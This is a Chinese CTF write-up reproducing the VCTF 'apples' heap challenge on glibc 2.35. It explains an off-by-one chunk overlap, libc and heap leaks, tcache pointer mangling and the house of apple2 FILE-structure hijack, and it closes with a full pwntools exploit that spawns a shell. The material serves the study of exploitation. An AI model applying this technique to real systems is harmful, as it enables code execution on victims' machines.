vctf apples leak libc复现:

发布于 2024-06-20  153 次阅读


参考文章:[原创]vctf apples leak libc操作复现(高版本libc overlapping)-Pwn-看雪-安全社区|安全招聘|kanxue.com

vctf apple 复现(apple的通用模板) | Blog (yuan0x1elegy.love)

本文分为四个大块:1.分析 2.动调 3.构造 4.exp

1.分析:

我们可以看到这个程序是libc.2.35(GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.5) stable release version 2.35.),但是我没有在glibc_all_in_one里面找到这个版本,但是找到个小版本是3.6的发现能打通就用其来代替了

这道题有一个off_by_one的漏洞,在我们输入数据的时候,会在末尾再加一个0:

首先我们来看一下属性的偏移:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
// 以上是一个_IO_FILE结构体包含的内容
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
// 以上是 _IO_FILE_complete结构体包含的内容
0xd8:'vtable',
// 以上是 _IO_FILE_plus结构体部分
0xe0:'_wide_vtable'
// _wide_vtable是_IO_wide_data的最后一个属性

然后再来看一下结构体:

struct _IO_FILE
{
 int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */

 /* The following pointers correspond to the C++ streambuf protocol. */
 char *_IO_read_ptr;   /* Current read pointer */
 char *_IO_read_end;   /* End of get area. */
 char *_IO_read_base;  /* Start of putback+get area. */
 char *_IO_write_base; /* Start of put area. */
 char *_IO_write_ptr;  /* Current put pointer. */
 char *_IO_write_end;  /* End of put area. */
 char *_IO_buf_base;   /* Start of reserve area. */
 char *_IO_buf_end;    /* End of reserve area. */

 /* The following fields are used to support backing up and undo. */
 char *_IO_save_base; /* Pointer to start of non-current get area. */
 char *_IO_backup_base;  /* Pointer to first valid character of backup area */
 char *_IO_save_end; /* Pointer to end of non-current get area. */

 struct _IO_marker *_markers;

 struct _IO_FILE *_chain;

 int _fileno;
 int _flags2;
 __off_t _old_offset; /* This used to be _offset but it's too small. */

 /* 1+column number of pbase(); 0 is unknown. */
 unsigned short _cur_column;
 signed char _vtable_offset;
 char _shortbuf[1];

 _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_plus
{
 FILE file;
 const struct _IO_jump_t *vtable;
};

struct _IO_FILE_complete
{
 struct _IO_FILE _file;
#endif
 __off64_t _offset;
 /* Wide character stream stuff. */
 struct _IO_codecvt *_codecvt;
 struct _IO_wide_data *_wide_data;
 struct _IO_FILE *_freeres_list;
 void *_freeres_buf;
 size_t __pad5;
 int _mode;
 /* Make sure we don't get into trouble again. */
 char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
struct _IO_FILE_complete_plus
{
 struct _IO_FILE_complete file;
 const struct _IO_jump_t *vtable;
};

结构体结合上面的偏移来看就直白很多了

首先我们来看一下在这个版本下的合并机制的检查:

1.检查size:

994584_RJS84UEW7HSZZ8P

然后就是unlink的检查:

image-20240617171547023
994584_RJS84UEW7HSZZ8P

这里我们先来给出我们的伪造的结构体,然后我们再来分析:

FILE = IO_FILE_plus_struct()
FILE.flags = 0
FILE._IO_read_ptr = pop_rbp
FILE._IO_read_end = heap_addr + 0x470 - 8
FILE._IO_read_base = leave_ret
FILE._IO_write_base = 0
FILE._IO_write_ptr = 1
FILE._lock = heap_addr - 0xc30
FILE.chain = leave_ret
FILE._codecvt = stdout_addr
FILE._wide_data = stdout_addr - 0x48
FILE.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20

2.动调:

我们要通过puts函数触发_IO_wfile_overflow函数来调用_IO_wdoallocbuf函数

为了了解这里的劫持的原理,所以我们分析puts函数的源码来看看:

1.我们可以看到puts里面调用了

_IO_file_xsputn(stdout->vatble(0xd8)->_IO_file_xsputn(0x38))
  0x7ffff7c80f12 <puts+194>    mov    rdx, rbx
  0x7ffff7c80f15 <puts+197>    mov    rsi, r12
► 0x7ffff7c80f18 <puts+200>    call   qword ptr [r14 + 0x38]        <_IO_file_xsputn>
       rdi: 0x7ffff7e1a780 (_IO_2_1_stdout_) ◂— 0xfbad2087
       rsi: 0x555555556328 ◂— 'Welcome to the New School List.'
       rdx: 0x1f
       rcx: 0xc00

  0x7ffff7c80f1c <puts+204>    cmp    rbx, rax
  0x7ffff7c80f1f <puts+207>    jne    puts+125                <puts+125>

这个时候我们可以看到r14这样的,然后 _ IO_file_xsputn是在_IO_file_jumps+0x38的位置

r14是通过mov r14, [rdi+0D8h]取出来的 rdi为_IO_2_1_stdout_ 根据0xd8偏移可以知道是vatble属性:

2.然后我们进入进去可以看到调用了_IO_file_overflow:

image-20240613195359380

3.然后就走向了_IO_do_write:

_IO_wfile_jumps结构体

如果我们要调用_IO_wfile_overflow,则需要vtable + 0x38位置为_IO_wfile_jumps+24 ,所以我们这里要控制vtable为_IO_wfile_jumps-0x20

image-20240614115648182
struct _IO_jump_t
{
   JUMP_FIELD(size_t, __dummy);
   JUMP_FIELD(size_t, __dummy2);
   JUMP_FIELD(_IO_finish_t, __finish);
   JUMP_FIELD(_IO_overflow_t, __overflow);
   JUMP_FIELD(_IO_underflow_t, __underflow);
   JUMP_FIELD(_IO_underflow_t, __uflow);
   JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
   /* showmany */
   JUMP_FIELD(_IO_xsputn_t, __xsputn);
   JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
   JUMP_FIELD(_IO_seekoff_t, __seekoff);
   JUMP_FIELD(_IO_seekpos_t, __seekpos);
   JUMP_FIELD(_IO_setbuf_t, __setbuf);
   JUMP_FIELD(_IO_sync_t, __sync);
   JUMP_FIELD(_IO_doallocate_t, __doallocate);
   JUMP_FIELD(_IO_read_t, __read);
   JUMP_FIELD(_IO_write_t, __write);
   JUMP_FIELD(_IO_seek_t, __seek);
   JUMP_FIELD(_IO_close_t, __close);
   JUMP_FIELD(_IO_stat_t, __stat);
   JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
   JUMP_FIELD(_IO_imbue_t, __imbue);
};

_IO_wfile_overflow函数

我们最终是想要去调用

_IO_wdoallocbuf_IO_wfile_overflow (FILE *f, wint_t wch)
{
 if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
  {
     f->_flags |= _IO_ERR_SEEN;
     __set_errno (EBADF);
     return WEOF;
  }
 /* If currently reading or no buffer allocated. */
 if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
  {
     /* Allocate a buffer if needed. */
     if (f->_wide_data->_IO_write_base == 0)
  {
     _IO_wdoallocbuf (f);
     _IO_free_wbackup_area (f);
     _IO_wsetg (f, f->_wide_data->_IO_buf_base,
            f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

     if (f->_IO_write_base == NULL)
      {
         _IO_doallocbuf (f);
         _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
      }
  }
     else
  {
     /* Otherwise must be currently reading. If _IO_read_ptr
        (and hence also _IO_read_end) is at the buffer end,
        logically slide the buffer forwards one block (by setting
        the read pointers to all point at the beginning of the
        block). This makes room for subsequent output.
        Otherwise, set the read pointers to _IO_read_end (leaving
        that alone, so it can continue to correspond to the
        external position). */
     if (f->_wide_data->_IO_read_ptr == f->_wide_data->_IO_buf_end)
      {
         f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
         f->_wide_data->_IO_read_end = f->_wide_data->_IO_read_ptr =
       f->_wide_data->_IO_buf_base;
      }
  }
     f->_wide_data->_IO_write_ptr = f->_wide_data->_IO_read_ptr;
     f->_wide_data->_IO_write_base = f->_wide_data->_IO_write_ptr;
     f->_wide_data->_IO_write_end = f->_wide_data->_IO_buf_end;
     f->_wide_data->_IO_read_base = f->_wide_data->_IO_read_ptr =
   f->_wide_data->_IO_read_end;

     f->_IO_write_ptr = f->_IO_read_ptr;
     f->_IO_write_base = f->_IO_write_ptr;
     f->_IO_write_end = f->_IO_buf_end;
     f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

     f->_flags |= _IO_CURRENTLY_PUTTING;
     if (f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
   f->_wide_data->_IO_write_end = f->_wide_data->_IO_write_ptr;
  }
 if (wch == WEOF)
   return _IO_do_flush (f);
 if (f->_wide_data->_IO_write_ptr == f->_wide_data->_IO_buf_end)
   /* Buffer is really full */
   if (_IO_do_flush (f) == EOF)
     return WEOF;
 *f->_wide_data->_IO_write_ptr++ = wch;
 if ((f->_flags & _IO_UNBUFFERED)
     || ((f->_flags & _IO_LINE_BUF) && wch == L'\n'))
   if (_IO_do_flush (f) == EOF)
     return WEOF;
 return wch;
}

所以我们要满足的条件是:

  • f->_flags & _IO_NO_WRITES为0
  • (f->_flags & _IO_CURRENTLY_PUTTING) == 0 也就是 _flags位置为0
  • f->_ wide_data(0xa0)->_IO_write_base(0x20) == 0

_IO_wdoallocbuf函数

void
_IO_wdoallocbuf (FILE *fp)
{
  // _wide_data -> _IO_buf_base 不能为1
 if (fp->_wide_data->_IO_buf_base)
   return;
 // fp->_flags 二位得为0
 if (!(fp->_flags & _IO_UNBUFFERED))
     // 利用这里的函数调用
   if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
     return;
 _IO_wsetb (fp, fp->_wide_data->_shortbuf,
    fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

所以我们的调用关系应该是这个样子的:

_IO_wfile_overflow
   _IO_wdoallocbuf
       _IO_WDOALLOCATE
           *(fp->_wide_data->_wide_vtable + 0x68)(fp)

这个地方我们要执行_ IO_WDOALLOCATE从而调用我们伪造的函数,所以我们这里需要过掉保护fp->_ wide_data->_IO_buf_base 和 !(fp-> _flags & _IO_UNBUFFERED)

也就是wide_data(0xa0)的_IO_buf_base(0x38)偏移位置要为0

然后就是触发_IO_WDOALLOCATE(fp)

等效为: *(fp->wide_data(0xa0)->wide_vtable(0xe0) + 0x68)(fp)

最终就成功调用leave retn指令

3.构造:

我们大致知道了攻击的流程,然后我们来看看怎么构造chunk:

add(0x410, "a" * 8)  # 0  290
add(0x100, "a" * 8)  # 1  6b0
add(0x430, "a" * 8)  # 2  7c0
add(0x430, "a" * 8)  # 3  c00
add(0x100, "a" * 8)  # 4  1040
add(0x480, "a" * 8)  # 5  1150
add(0x420, "a" * 8)  # 6  15e0
add(0x10, "a" * 8)  # 7  1a10

free(0)
free(3)
free(6)
# 触发合并 然后合成一个0x860的大chunk 让我们可以分割
# 并且我们的fd和bk在0x430+16字节的位置 也就是0x440位置存在fd和bk
free(2)
# add一个比chunk 0 chunk6都大的chunk这样就会去分割0x860chunk 然后我们控制我们的payload 设置一个size到原本size的地方
# 这样fd和bk分别指向chunk 0 和chunk 6 这样我们可以构造一个 合法的chunk head头
add(0x450, b"a" * 0x438 + p16(0x551))  # 0
# 将 chunk3 变为allocted
add(0x410, "a" * 8)  # 2
add(0x420, "a" * 8)  # 3
add(0x410, "a" * 8)  # 6

chunk里面是这个样子的:

free 3个chunk(chunk0 chunk3 chunk6) 这样chunk3(的fd和bk分别指向chunk 0 chunk6

(这里chunk3 的地址要特殊一点,他的最低的地址为00,这样方便我们后面使用off_by_one漏洞来实现修改fd/bk的低地址为0来让FD->bk BK->fd 指向我们伪造的chunk )

然后再free一个chunk让两个chunk(chunk3和chunk2)合并,这样就能够保留fd(chuhnk0)和bk(chunk6)在一个大的chunk里面了

然后我们将这个大的chunk分割成chunk3和chunk4让我们自己构造的size刚好能够覆盖原chunk3 size的位置:

然后我们就开始分割大的chunk,构造size:

这里创建了一个0x450的chunk,并且伪造了size

于是我们这里已经构造好了size和fd,bk,那么后面我们就是想办法让chunk 0的bk和chunk 6的fd指向我们创建的chunk

构造FD ->bk

这里主要是利用先让chunk0的bk指向chunk3然后利用off_by_one漏洞覆写bk指向我们的fake chunk

在此之前我们先把之前的chunk申请回来:

add(0x410,"a"*8) # 2
add(0x420,"a"*8) # 3
add(0x410,"a"*8) # 6
# 覆写chunk0的fd
free(6) #free的chunk 3
free(2) #free的chunk 0
add(0x410, "a" * 8)  # 2
add(0x410, "a" * 8)  # 6

运行过后就是这个样子,我们可以看到bk已经变成fake chunk的位置了

(这就是为什么当时说chunk3 的地址要特殊一点)

这里构造好了size和fd bk过后就要想办法来让chunk 0的bk和chunk 6的fd指向我们构造的chunk

构造BK->fd

修改fd这里就要复杂一些了,因为修改chunk 6的fd不能像修改FD->bk那样直接free,然后add;我们需要利用合并机制来修改,也就是先free chunk3 chunk 6 以及chunk 5触发chunk 6和chunk5合并,然后我们先分割一个chunk 5出来,并且向原本chunk 6 size fd位置赋值

free(6)
free(3)
free(5)

add(0x4f0, b"b" * 0x488 + p64(0x431))  # 3
add(0x3b0, "a" * 8)  # 5

free过后就长这个样子:

然后add过后就是这个样子:

image-20240615184058786

构造合并chunk

这里我们就利用一次合并的机制和分割机制,造成prev_inuse变为0,并且构造好prev_size。但是我们还是要调整一下要选择合并的chunk的位置,因为我们刚才构造的fake chunk大小为0x550所以我们要在fake chunk往下0x550位置弄出一个allocted chunk

free(4)

add(0x108, b"c" * 0x100 + p64(0x550))  # 4
add(0x400, "a" * 8)  # 6
free(3)

add(0x10, "a" * 8)  # 3
show(6)

我们可以看到fake chunk在偏移0x550的位置是在我们的chunk 5的位置上(下面图片写错了):

所以我们就free掉chunk 4 然后malloc回来然后写入覆盖数据到chunk 5的prev_inuse并构造好0x550的prev_size

修改过后就是这个样子:

(实际上这里红色的从上往下是6,4,3,下面的chunk 5指的是从第一个往下数的chunk,也就是实际上的chunk 3)

然后我们只要free掉chunk5就能够触发合并机制了

关于这一个步add(0x10, "a" * 8) # 3为什么要再申请一个实际大小是0x20的chunk是为了让我们的

泄露libc的地址

这样我们就完成了一次overlapping了,这样我们就能够泄露出libc的地址了​


rc(14)

libc_base = uu64(rc(6)[-6:]) - 0x219ce0
lg("libc_base")

泄露heap的地址

泄露出来libc地址过后我们就可以来泄露heap的地址了:

add(0x3f0,"a"*8)#8
add(0x60, b'a'*0x18 + p64(0x91)) #9
add(0x3f0,"a"*8)#10



free(6)



show(8)
rc(14)
heap_addr = (uu64(rc(5)[-5:]) << 12) + 0xc30
lg("heap_addr")

我们通过再次把chunk 6的内容进行分配然后释放掉chunk 6,那么chunk 6里面就会储存我们的heap的信息,然后我们再查看chunk 8就能看到了

开始apple

add(0x80, b'a' * 0x48 + p64(0x401) + p64(((heap_addr + 0x470) >> 12) ^ (stdout_addr))[:-1])

FILE = IO_FILE_plus_struct()
FILE.flags = 0
FILE._IO_read_ptr = pop_rbp
FILE._IO_read_end = heap_addr + 0x470 - 8
FILE._IO_read_base = leave_ret
FILE._IO_write_base = 0
FILE._IO_write_ptr = 1
FILE._lock = heap_addr - 0xc30
FILE.chain = leave_ret
FILE._codecvt = stdout_addr
FILE._wide_data = stdout_addr - 0x48
FILE.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20

flag_addr = heap_addr + 0x470 + 0x100
payload = p64(pop_rdi) + p64(binsh) + p64(system) # can set on orw chain

add(0x3f0,  payload)
#gdb.attach(p)

add(0x3f0, bytes(FILE))
ia()

这里的IO链我们使用的是house of apple2的链条_IO_wfile_overflow //位于IO_wfile_jumps表中函数


   _IO_wdoallocbuf
       _IO_WDOALLOCATE
            //调用wdie_vtable中对应偏移函数
           *(fp->_wide_data->_wide_vtable + 0x68)(fp)

如果我们要触发攻击就要去执行虚表里面的函数,然后伪造vtable,控制rip进行攻击,常见的有

_IO_flush_all_lockp

_IO_flush_all_lockp
 _IO_FILE_plus.vtable 中的 _IO_overflow
​

然后以下的三种情况存在这个函数:

  1. 当libc执行abort流程的时候(malloc_printerr)
  2. exit函数
  3. 从main函数返回的时候

puts函数也能够触发调用链函数:puts
stdout-> _IO_file_xsputn  #虚表中函数

就如最上面分析的一样

我们想到的是通过UAF修改tcache为_ IO_2_1_stdout_,然后将它申请出来,进行利用

现在我们的堆里面是这个样子的(应该):

我们先free掉4和10,然后就会变成这个样子:

我们这里的先free掉4,再free掉10,(为了进行tcachebin的修改),然后这个时候的bins是这个样子的:

image-20240617212727871

这个时候我们在泄露heap的时候构造的chunk0x90就有作用了

这里想说一下为什么我们会成功我们能够实现 :

我们在前面申请三个chunk 的时候是这个样子的:

我们在写chunk9的时候我们其实修改了chunk4的大小为0x90了(之前我一直以为是构造了一个全新的fake chunk所以一直就没想通)所以我们后面add(0x80, b'a' * 0x48 + p64(0x401) + p64(((heap_addr + 0x470) >> 12) ^ (stdout_addr))[:-1])的时候会把他放进这个chunk里面虽然在gdb里面没有标出这个chunk

然后我们修改我们chunk10 的fd让他指向我们的的_ IO_2_1_stdout_的位置

指针加密:

这里我们要知道的是在高版本下我们的tcache和fastbin指针会被加密:

首先我们来看一下源码:

tcache    


static __always_inline void
   tcache_put (mchunkptr chunk, size_t tc_idx)
  {
     tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
     /* Mark this chunk as "in the tcache" so the test in _int_free will
        detect a double free. */
     e->key = tcache;
     e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
     tcache->entries[tc_idx] = e;
     ++(tcache->counts[tc_idx]);
  }
   static __always_inline void *
   tcache_get (size_t tc_idx)
  {
     tcache_entry *e = tcache->entries[tc_idx];
     if (__glibc_unlikely (!aligned_OK (e)))
       malloc_printerr ("malloc(): unaligned tcache chunk detected");
     tcache->entries[tc_idx] = REVEAL_PTR (e->next);
     --(tcache->counts[tc_idx]);
     e->key = NULL;
     return (void *) e;
  }

fatbin:

    if (SINGLE_THREAD_P)  
  {
       /* Check that the top of the bin is not the record we are going to
           add (i.e., double free). */
       if (__builtin_expect(old == p, 0))
           malloc_printerr("double free or corruption (fasttop)");
       p->fd = PROTECT_PTR(&p->fd, old);
       *fb = p;
  }
   else
       do
      {
           /* Check that the top of the bin is not the record we are going to
               add (i.e., double free). */
           if (__builtin_expect(old == p, 0))
               malloc_printerr("double free or corruption (fasttop)");
           old2 = old;
           p->fd = PROTECT_PTR(&p->fd, old);
      } while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2))
           != old2);

从tcache来看,e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]),这里是对pos右移了12位(去除了末尾3位信息),然后再异或原来的指针(之前保存在next里面的内容),所以我们这里就是将我们的heap_addr + 0x470的位置向右移动了12位然后我们再将其和我们的目标指针进行异或加密(stdout_addr),然后我们就把我们的_ IO_2_1_stdout_给放进tcache bin里面了

然后我们申请一个chunk,再下一个chunk就是我们的stdout了,所以我们就可以通过add(0x3f0, bytes(FILE))来成功修改

4.exp:

from pwn import *
from pwncli import *
context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ['tmux', 'sp', '-h']
local = 1
elf = ELF('./pwn')
if local:
   p = process('./pwn')
   libc = ELF('./libc.so')
else:
   p = remote('venom-6b59414144446a44.sandbox.ctfhub.com',50291)
   libc = ELF('./libc.so')

sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b"\x00"))
uu64 = lambda data : u64(data.ljust(8, b"\x00"))

def lg(s):
   success("%s >> 0x%x" % (s, eval(s)))

def bk(addr):
   gdb.attach(p,"b *"+str(hex(addr)))

def debug(addr,PIE=True):
   if PIE:
       text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
       gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
       pause()
   else:
       gdb.attach(p,"b *{}".format(hex(addr)))
       pause()

def cmd(op):
   sla(">> ",str(op))

def add(size,content):
   cmd(1)
   sla("How many students do you want to add: ",str(1))
   sla("Gender (m/f): ","m")
   sla("Size: ",str(size))
   sa("Content:",content)

def show(index): # gender,content,size
   cmd(2)
   sla("Enter the index of the student: ",str(index))
   cmd(2)

def free(index): # gender,content,size
   cmd(3)
   sla("Enter the   of the student: ",str(index))
   cmd(2)

add(0x410,"a"*8) # 0 290  
add(0x100,"a"*8) # 1 6b0  
add(0x430,"a"*8) # 2 7c0  
add(0x430,"a"*8) # 3 c00
add(0x100,"a"*8) # 4 1040  
add(0x480,"a"*8) # 5 1150  
add(0x420,"a"*8) # 6 15e0  
add(0x10, "a"*8) # 7 1a10

free(0)
free(3)
free(6)

free(2)

add(0x450,b"a"*0x438 + p16(0x551)) # 0

add(0x410,"a"*8) # 2
add(0x420,"a"*8) # 3
add(0x410,"a"*8) # 6

free(6)
free(2)
add(0x410,"a"*8) # 2
add(0x410,"a"*8) # 6

free(6)
free(3)
free(5)

add(0x4f0, b"b"*0x488 + p64(0x431)) # 3
add(0x3b0,"a"*8) # 5

free(4)

add(0x108, b"c"*0x100 + p64(0x550)) # 4
add(0x400,"a"*8) # 6
free(3)
add(0x10,"a"*8) # 3
show(6)
rc(14)
libc_base = uu64(rc(6)[-6:]) - 0x219ce0
lg("libc_base")

add(0x3f0,"a"*8)#8
add(0x60, b'a'*0x18 + p64(0x91)) #9
add(0x3f0,"a"*8)#10
free(6)

show(8)
rc(14)
heap_addr = (uu64(rc(5)[-5:]) << 12) + 0xc30
lg("heap_addr")

pop_rdi = libc_base + 0x2a3e5
pop_rbp = libc_base + 0x2a2e0
leave_ret = libc_base + 0x4da83
system = libc_base + 0x050d70
binsh = libc_base + 0x1d8678
stdout_addr = libc_base + libc.sym['_IO_2_1_stdout_']

free(4)
free(10)
gdb.attach(p)
add(0x80, b'a' * 0x48 + p64(0x401) + p64(((heap_addr + 0x470) >> 12) ^ (stdout_addr))[:-1])

FILE = IO_FILE_plus_struct()
FILE.flags = 0
FILE._IO_read_ptr = pop_rbp
FILE._IO_read_end = heap_addr + 0x470 - 8
FILE._IO_read_base = leave_ret
FILE._IO_write_base = 0
FILE._IO_write_ptr = 1
FILE._lock = heap_addr - 0xc30
FILE.chain = leave_ret
FILE._codecvt = stdout_addr
FILE._wide_data = stdout_addr - 0x48
FILE.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20

flag_addr = heap_addr + 0x470 + 0x100
payload = p64(pop_rdi) + p64(binsh) + p64(system) # can set on orw chain

add(0x3f0,  payload)
#gdb.attach(p)

add(0x3f0, bytes(FILE))
ia()

The world's full of lonely people afraid to make the first move.